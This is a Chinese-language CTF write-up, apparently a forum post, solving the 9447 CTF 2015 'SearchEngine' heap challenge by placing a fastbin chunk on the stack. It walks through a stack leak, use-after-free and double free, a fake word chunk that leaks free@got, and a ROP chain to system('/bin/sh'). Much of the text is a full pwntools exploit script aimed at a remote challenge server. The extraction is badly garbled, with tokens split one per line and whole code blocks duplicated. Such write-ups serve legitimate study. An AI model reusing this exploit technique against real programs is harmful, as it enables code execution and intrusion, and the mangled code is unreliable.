Alloc to Stack:将堆块分配到了栈上。该项技术的核心点在于劫持fastbin链表中chunk的fd指针,将fd指针修改为我们想要分配的栈上,从而控制栈中的一些关键数据,比如返回地址等。在分配堆到栈上时,栈上要存在满足条件的chunk.size值,也就是说,我们要malloc多少的内存,其size一定要对应。
实验环境:
“真正的main函数”
将输入的字符串转换为数字。
long int strtol(const char *str, char **endptr, int base)
输入字符串的函数,有三个参数:
arg3:一个flag?当arg3不为0的时候,字符串最后一个字符会设置为\x00。否则不为\x00,此时如果打印,会泄漏数据 。
索引句子的函数。 首先是输入句子的长度,然后判断不能小于等于0。然后分配一个chunk来存储句子的内容,暂且称为sentence chunk吧。接着调用input函数往sentence chunk 输入句子的内容,这里第三个参数为0,所以,如果后面打印sentence的句子,可能泄漏数据。 因为关闭了PIE,所以,可以用地址来下断点,那就用gdb调试来验证输入的字符串没有\x00结尾。这里第22行(call input)的地址为0x400c4a。输入sentence size 为9,准备输入sentence为“aaaa aaaa”(中间一个空格,前后各4个a)。由下图可以知道,sentence_mem(即sentence chunk的user data的地址)为0x603420。 接着,输入句子“aaaa aaaa”后,可以看到sentence_mem开始9个字节由低到高是:616161612061616161,没有\x00。所以,如果我们输入的句子长一点,把sentence chunk填满,那么可以打印下一个chunk。
这几个变量之间的关系如下图所示。关于v6的那几行代码,可切换到汇编代码视图,结构非常清晰,一看就知道结构是怎样的,当然也可以继续用gdb调试查看。 继续看下面的代码。 看完这段代码可以知道前面的new chunk就是为word创建的word chunk。以输入“aaaa aaaa”为例,其大概流程如下图所示。
这里有一个漏洞点,删除sentence之后,没有把指向sentence的指针给置为Null,可能存在UAF或者DF漏洞。
word chunk和sentence chunk,以及全局变量之间的关系:
(这道题有两种解法,这里只写alloc to stack这种方法的思路,另一种思路可参考论坛里iddm师傅的文章《2015 9447ctf search_engine 双解》 )
输入96个a,会连带着打印出栈中的数据。输入48个a,没有打印栈中数据是刚好48个a之后栈的数据是0,这一点在后面的调试中可以看到。使用脚本和gdb调试 :在接收完菜单之后就attach gdb,然后在gdb里下断点,断点设为0x400AAF(input_number函数中调用__printf_chk的地方),然后c命令继续运行。
继续单步调试,直到运行到第二次调用__printf_chk,第二次调用时就会打印出栈的地址。经过多次尝试,每当在调用strtol函数之后,第2次打印的48个a后面总是栈的某个地址。但是参考资料里有的大佬不是这样,可能是环境的问题?我的环境是Ubuntu16.04,glibc 2.23。
思路 :如何泄漏libc基址?最终还是要依靠打印函数来泄漏的,有两处地方有打印函数:(1)前面泄漏栈地址的input_number函数中;(2)search函数中。
可是word chunk的内容并不是我们能够直接控制的,怎么修改它的内容呢?
sentence chunk是我们能够完全控制的,它的所有user data都是我们输入的。那我们可以在index一个sentence的时候,将输入伪造成一个word chunk,并且如果index该sentence时malloc出来的word chunk的最后8字节指向我们输入的sentence内容。这样的话,当我们搜索“Enter”时,最终会搜索匹配到我们伪造的word chunk(输入的sentence chunk x),打印free函数真实地址。如下图所示。
问题又来了,怎么让word chunk x 的最后8字节指向sentence chunk x的user data呢?
word chunk 最后8个字节内容的来源是全局变量,保存的是上一个word chunk的地址。所以只要让sentence chunk x 曾经是最后一个 word chunk,同时已经被free掉就可以了!那么 sentence chunk x 原来要在fastbin中,当index一个sentence的时候会先malloc这个chunk给sentence。
可是word chunk是不会被free的,free的只会是sentence chunk,怎么办呢?也就是怎么才会让sentence chunk x既曾经是一个word chunk,又能被free掉?
能被free掉,说明sentence chunk x 曾经是一个sentence chunk,它的地址保存在某些的 word chunk 里面(删除句子后,word chunk里的sentence_mem指针没有被置为空)。所以: (1)那就让它一开始是0x28大小的sentence chunk,内容为两个word(原因看下面的注意),然后search,删除sentence进行free,让它进入fastbin。 (2)再index另一个大小(如0x40)的sentence 2,那么 sentence 2 的 word chunk就会分配到被free掉的sentence chunk x!此时,成为word chunk 的 sentence chunk x 的结构如下:
(3)现在sentence chunk x 变成word chunk了,接着需要让他进入fastbin。那就要把这个word chunk(sentence chunk x)当作sentence chunk,才能free进fastbin。此时,还有两个word chunk((1)中sentence chunk内容分为2个word) 的sentence_mem是指向这个sentence chunk x的,那就想办法通过这两个word的结构搜索到sentence chunk x,然后删除sentence chunk x,那就能free这个被当作sentence chunk的word chunk(sentence chunk x)。方法就是搜索\x00,具体原因下面边调试边分析,因为光看文字还是有点迷糊。
注意:index sentence1 的时候,它的内容不能为连续的一个单词,否则搜索word时malloc出来的chunk也会是0x28大小,导致 sentence2 的word chunk 分配到这个chunk,而不是预想的sentence chunk x。
如此,leak libc的思路就清晰了:
下面开始编写脚本进行调试:
1)申请一个word chunk 大小(0x28)的sentence,记为sentence chunk 1,然后删除。
图中 sentence chunk 中的内容都为0,是因为这是删除句子之后的情况,都被清为0了。
2)申请一个其他大小的sentence,记为sentence chunk 2,那么sentence chunk 2的word chunk使用的就是sentence chunk 1。
3)search ‘\x00’,将定位到 原sentence chunk 1的word chunk2(“b”)。看上图,长度为1的word只有原来的word ‘b’,它的word addr是0x1fe0047,该地址处的内容正是\x00。因为这个地方现在存储的是从全局变量拷贝过来的“上一个word”的地址,地址的高位肯定是\x00的。所以,搜索\x00,则会定位到原来指向“b”的word chunk,然后free这个word chunk所属的sentence(即原 sentence chunk 1),原sentence chunk1会进入fastbins。
(4)index(size=0x28, content=Enter addr + free@got) 将sentence 内容伪造成一个word chunk。
(5)搜索Enter,定位到sentence chunk 3(原 sentence chunk 1),打印free@got地址的内容。
现在,已经获得了stack addr 和 libc addr。那么,接下来只需要将chunk 分配到栈中,让我们能将栈中的返回地址修改成调用system("bin/sh")就可以了! 这里有几个问题:
1)通过double free,在栈上伪造的chunk的地址放到fastbin中。为何要伪造0x40大小的chunk,而不是其他大小,在看完下面之后就会明白。此处暂时先这样用就可以。
2) 通过ROPGadget获取 pop_rdi_ret
地址
3)构造fake chunk,并malloc。这里先用这个wp 的这部分脚本。
运行后出错。看到malloc函数报错: memory corruption (fast):0x00007ffdfdd995d0 。 这个地址是泄漏出来的栈的地址+0x10,原因清楚了:不能随便在栈中分配chunk,glibc会检查要分配的chunk的size是否符合,而前面泄漏出栈的地址之后就没有对他进行处理了,根本不知道在栈上伪造的free chunk的size是否为0x40。
同时,为何从double free开始,伪造的chunk大小都是0x40的原因也明白了。伪造的free chunk链接在某个size的fastbin上,而要在栈上找到一个size能绕过glibc的检查,那么之所以这个size选择0x40,是因为该程序关闭了PIE,代码段都是0x40开头的,所以栈中会有很多0x40。
4)选择stack地址,覆盖返回地址
首先尝试覆盖最后的index函数的返回地址,通过ida查看其返回地址为:0x400d8f 如下所示,在调用index之前下断点。 通过不断地finish,直到 BACKTRACE
窗口中 400d7e
在顶上,然后通过ni和si,进入调用的最后一个index函数。 刚进入index之后,通过 telescope $rsp-0x80 20
把栈内存dump出来查看,从里面找到0x40,然后通过偏移,把0x40当作size域的值,从这里开始构造chunk。 那么修改前面的代码,修改在栈上伪造chunk的地址。
运行脚本,还是出错。(;´༎ຶД༎ຶ`)
看了一下ida,index函数最后没有ret,而是直接跳转到puts函数去了,以为是这里出问题了(最后发现这是没问题的,后面会看到)。做到这又有点烦躁了,就不想去调试分析哪里错了,想着要不再找一个函数的返回地址来覆盖吧。就打算去覆盖index函数里的input函数,也就是往sentence chunk输入sentence那里。
但是呢,按照上面那个步骤去分析,最后发现这个返回地址附近没有0x40给我用,最近的也在0x40之外。于是只好放弃,回过去去分析之前哪里出错了。
唉,还是不能烦躁,要静心。这道题也是以前做了一大半,但是没做下去。这两天看别的看烦躁了,重新捡起来做的,比起以前还算是顺利,还是太菜了。
重新运行上面的代码进行调试,这次进入index之后继续调试,记住index函数的返回地址以及其在栈中的位置。接着,在index函数最后一条指令下断点,继续运行,在断点地方停下,index函数返回地址发生变化了,变成了 pop_rdi_ret
指令的地址。然后,继续 si
单步调试,进入puts函数。最后,不断地 ni
,发现在puts函数最后的 ret
跳转到pop_rdi_ret
指令了,如下图所示,说明这一部分把chunk分配到stack是没有问题的。 同时,发现上图中pop_rdi_ret
后面的指令不是system函数,而是vfprintf函数。难道我这个调用链构造错了,再去看一眼打印出来的system函数地址(下图),没有错啊,是这个地址。诶!发现LibcSearcher选择的libc好像有点不对劲。
我是先把本地的libc放到ida里查了一下free函数的偏移,再把上图打印出来的地址一算,是对不上的,问题确认了!然后我就把本地的libc添加到db库里。其实也可以直接就把本地的libc库添加进去。 添加完之后,重新运行脚本,在选择libc的时候,选择自己添加的本地libc。最后就成功了。
$
file
9447CTF2015
-
SearchEngine
9447CTF2015
-
SearchEngine: ELF
64
-
bit LSB executable, x86
-
64
, version
1
(SYSV), dynamically linked, interpreter
/
lib64
/
ld
-
linux
-
x86
-
64.so
.
2
,
for
GNU
/
Linux
2.6
.
24
, BuildID[sha1]
=
4f5b70085d957097e91f940f98c0d4cc6fb3343f
, stripped
$ checksec
-
-
file
=
9447CTF2015
-
SearchEngine
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable
FILE
Partial RELRO Canary found NX enabled No PIE No RPATH No RUNPATH No Symbols Yes
1
3
9447CTF2015
-
SearchEngine
$
file
9447CTF2015
-
SearchEngine
9447CTF2015
-
SearchEngine: ELF
64
-
bit LSB executable, x86
-
64
, version
1
(SYSV), dynamically linked, interpreter
/
lib64
/
ld
-
linux
-
x86
-
64.so
.
2
,
for
GNU
/
Linux
2.6
.
24
, BuildID[sha1]
=
4f5b70085d957097e91f940f98c0d4cc6fb3343f
, stripped
$ checksec
-
-
file
=
9447CTF2015
-
SearchEngine
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable
FILE
Partial RELRO Canary found NX enabled No PIE No RPATH No RUNPATH No Symbols Yes
1
3
9447CTF2015
-
SearchEngine
from
pwn
import
*
from
LibcSearcher
import
LibcSearcher
from
sys
import
argv
def
ret2libc(leak, func, path
=
''):
if
path
=
=
'':
libc
=
LibcSearcher(func, leak)
base
=
leak
-
libc.dump(func)
system
=
base
+
libc.dump(
'system'
)
binsh
=
base
+
libc.dump(
'str_bin_sh'
)
else
:
libc
=
ELF(path)
base
=
leak
-
libc.sym[func]
system
=
base
+
libc.sym[
'system'
]
binsh
=
base
+
libc.search(
'/bin/sh'
).
next
()
return
(base, system, binsh)
s
=
lambda
data :p.send(
str
(data))
sa
=
lambda
delim,data :p.sendafter(delim,
str
(data))
sl
=
lambda
data :p.sendline(
str
(data))
sla
=
lambda
delim,data :p.sendlineafter(delim,
str
(data))
r
=
lambda
num
=
4096
:p.recv(num)
ru
=
lambda
delims, drop
=
True
:p.recvuntil(delims, drop)
uu64
=
lambda
data :u64(data.ljust(
8
,
'\0'
))
leak
=
lambda
name,addr :log.success(
'{} = {:#x}'
.
format
(name, addr))
context.log_level
=
'DEBUG'
binary
=
'./9447CTF2015-SearchEngine'
context.binary
=
binary
elf
=
ELF(binary,checksec
=
False
)
p
=
remote(
'node3.buuoj.cn'
,
29230
)
if
argv[
1
]
=
=
'r'
else
process(binary)
libc
=
ELF(
'/lib/x86_64-linux-gnu/libc.so.6'
,checksec
=
False
)
def
dbg():
gdb.attach(p)
pause()
def
dbg():
gdb.attach(p)
pause()
def
index(sentence_size, sentence):
sl(
'2\n'
)
sla(
'size:\n'
,
str
(sentence_size))
sla(
'sentence:\n'
, sentence)
def
search(word_size, word):
sl(
'1\n'
)
sla(
'size:\n'
,
str
(word_size))
sla(
'word:\n'
, word)
p.interactive()
from
pwn
import
*
from
LibcSearcher
import
LibcSearcher
from
sys
import
argv
def
ret2libc(leak, func, path
=
''):
if
path
=
=
'':
libc
=
LibcSearcher(func, leak)
base
=
leak
-
libc.dump(func)
system
=
base
+
libc.dump(
'system'
)
binsh
=
base
+
libc.dump(
'str_bin_sh'
)
else
:
libc
=
ELF(path)
base
=
leak
-
libc.sym[func]
system
=
base
+
libc.sym[
'system'
]
binsh
=
base
+
libc.search(
'/bin/sh'
).
next
()
return
(base, system, binsh)
s
=
lambda
data :p.send(
str
(data))
sa
=
lambda
delim,data :p.sendafter(delim,
str
(data))
sl
=
lambda
data :p.sendline(
str
(data))
sla
=
lambda
delim,data :p.sendlineafter(delim,
str
(data))
r
=
lambda
num
=
4096
:p.recv(num)
ru
=
lambda
delims, drop
=
True
:p.recvuntil(delims, drop)
uu64
=
lambda
data :u64(data.ljust(
8
,
'\0'
))
leak
=
lambda
name,addr :log.success(
'{} = {:#x}'
.
format
(name, addr))
context.log_level
=
'DEBUG'
binary
=
'./9447CTF2015-SearchEngine'
context.binary
=
binary
elf
=
ELF(binary,checksec
=
False
)
p
=
remote(
'node3.buuoj.cn'
,
29230
)
if
argv[
1
]
=
=
'r'
else
process(binary)
libc
=
ELF(
'/lib/x86_64-linux-gnu/libc.so.6'
,checksec
=
False
)
def
dbg():
gdb.attach(p)
pause()
def
dbg():
gdb.attach(p)
pause()
def
index(sentence_size, sentence):
sl(
'2\n'
)
sla(
'size:\n'
,
str
(sentence_size))
sla(
'sentence:\n'
, sentence)
def
search(word_size, word):
sl(
'1\n'
)
sla(
'size:\n'
,
str
(word_size))
sla(
'word:\n'
, word)
p.interactive()
r()
dbg()
sl(
48
*
2
*
'a'
)
ru(
'\n'
)
ru(
48
*
'a'
)
stack_leak
=
u64(p.recv(
6
).ljust(
8
,
'\x00'
))
leak(
'leak stack'
, stack_leak)
r()
dbg()
sl(
48
*
2
*
'a'
)
ru(
'\n'
)
ru(
48
*
'a'
)
stack_leak
=
u64(p.recv(
6
).ljust(
8
,
'\x00'
))
leak(
'leak stack'
, stack_leak)
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
prev_size
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
size
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
sentence_chunk_2_mem
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
0x40
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
sentence_chunk_2_mem
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
0x40
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
word_chunk2_of_sentence_chunk_1_addr
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
prev_size
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
size
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
sentence_chunk_2_mem
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
0x40
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
sentence_chunk_2_mem
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
0x40
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
word_chunk2_of_sentence_chunk_1_addr
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
ru(
'\n'
)
index(
0x28
,
0x26
*
'a'
+
' '
+
'b'
)
ru(
'Added sentence\n'
)
search(
1
,
'b'
)
sla(
'(y/n)?\n'
,
'y'
)
ru(
'Deleted!\n'
)
dbg()
ru(
'\n'
)
index(
0x28
,
0x26
*
'a'
+
' '
+
'b'
)
ru(
'Added sentence\n'
)
search(
1
,
'b'
)
sla(
'(y/n)?\n'
,
'y'
)
ru(
'Deleted!\n'
)
dbg()
index(
0x40
,
0x40
*
'a'
)
ru(
'Added sentence\n'
)
dbg()
index(
0x40
,
0x40
*
'a'
)
ru(
'Added sentence\n'
)
dbg()
search(
1
,
'\x00'
)
sla(
'(y/n)?\n'
,
'y'
)
ru(
'Deleted!\n'
)
dbg()
search(
1
,
'\x00'
)
sla(
'(y/n)?\n'
,
'y'
)
ru(
'Deleted!\n'
)
dbg()
pl
=
''
pl
+
=
p64(
0x400E90
)
pl
+
=
p64(
5
)
pl
+
=
p64(elf.got[
'free'
])
pl
+
=
p64(
14
)
pl
+
=
p64(
0
)
index(
0x28
, pl)
ru(
'Added sentence\n'
)
dbg()
pl
=
''
pl
+
=
p64(
0x400E90
)
pl
+
=
p64(
5
)
pl
+
=
p64(elf.got[
'free'
])
pl
+
=
p64(
14
)
pl
+
=
p64(
0
)
index(
0x28
, pl)
ru(
'Added sentence\n'
)
dbg()
search(
5
,
'Enter'
)
ru(
'Found 14: '
)
free_addr
=
u64(p.recv(
6
).ljust(
8
,
'\x00'
))
leak(
'free@got'
,free_addr)
sla(
'(y/n)?\n'
,
'n'
)
ru(
'Quit\n'
)
libc_base, system, binsh
=
ret2libc(free_addr,
'free'
)
leak(
'libc_base'
, libc_base)
leak(
'system'
, system)
leak(
'binsh'
, binsh)
search(
5
,
'Enter'
)
ru(
'Found 14: '
)
free_addr
=
u64(p.recv(
6
).ljust(
8
,
'\x00'
))
leak(
'free@got'
,free_addr)
sla(
'(y/n)?\n'
,
'n'
)
ru(
'Quit\n'
)
libc_base, system, binsh
=
ret2libc(free_addr,
'free'
)
leak(
'libc_base'
, libc_base)
leak(
'system'
, system)
leak(
'binsh'
, binsh)
size
=
0x38
index(size, (size
-
2
)
*
'a'
+
' t'
)
index(size, (size
-
2
)
*
'b'
+
' t'
)
index(size, (size
-
2
)
*
'c'
+
' t'
)
search(
1
,
't'
)
sla(
'(y/n)?\n'
,
'y'
)
sla(
'(y/n)?\n'
,
'y'
)
sla(
'(y/n)?\n'
,
'y'
)
dbg()
size
=
0x38
index(size, (size
-
2
)
*
'a'
+
' t'
)
index(size, (size
-
2
)
*
'b'
+
' t'
)
index(size, (size
-
2
)
*
'c'
+
' t'
)
search(
1
,
't'
)
sla(
'(y/n)?\n'
,
'y'
)
sla(
'(y/n)?\n'
,
'y'
)
sla(
'(y/n)?\n'
,
'y'
)
dbg()
search(
1
,
'\x00'
)
sla(
'(y/n)?\n'
,
'y'
)
sla(
'(y/n)?\n'
,
'n'
)
dbg()
search(
1
,
'\x00'
)
sla(
'(y/n)?\n'
,
'y'
)
sla(
'(y/n)?\n'
,
'n'
)
dbg()
fake_chunk
=
p64(stack_leak)
index(
0x38
,fake_chunk.ljust(
56
))
dbg()
index(
0x38
,
'A'
*
56
)
index(
0x38
,
'B'
*
56
)
dbg()
fake_chunk
=
p64(stack_leak)
index(
0x38
,fake_chunk.ljust(
56
))
dbg()
index(
0x38
,
'A'
*
56
)
index(
0x38
,
'B'
*
56
)
dbg()
pop_rdi_ret
=
0x400e23
buf
=
'A'
*
30
buf
+
=
p64(pop_rdi_ret)
buf
+
=
p64(binsh)
buf
+
=
p64(system)
buf
=
buf.ljust(
56
,
'C'
)
index(
0x38
,buf)
dbg()
pop_rdi_ret
=
0x400e23
buf
=
'A'
*
30
buf
+
=
p64(pop_rdi_ret)
buf
+
=
p64(binsh)
buf
+
=
p64(system)
buf
=
buf.ljust(
56
,
'C'
)
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!
最后于 2021-5-30 11:03
被ztree编辑
,原因:
上传的附件: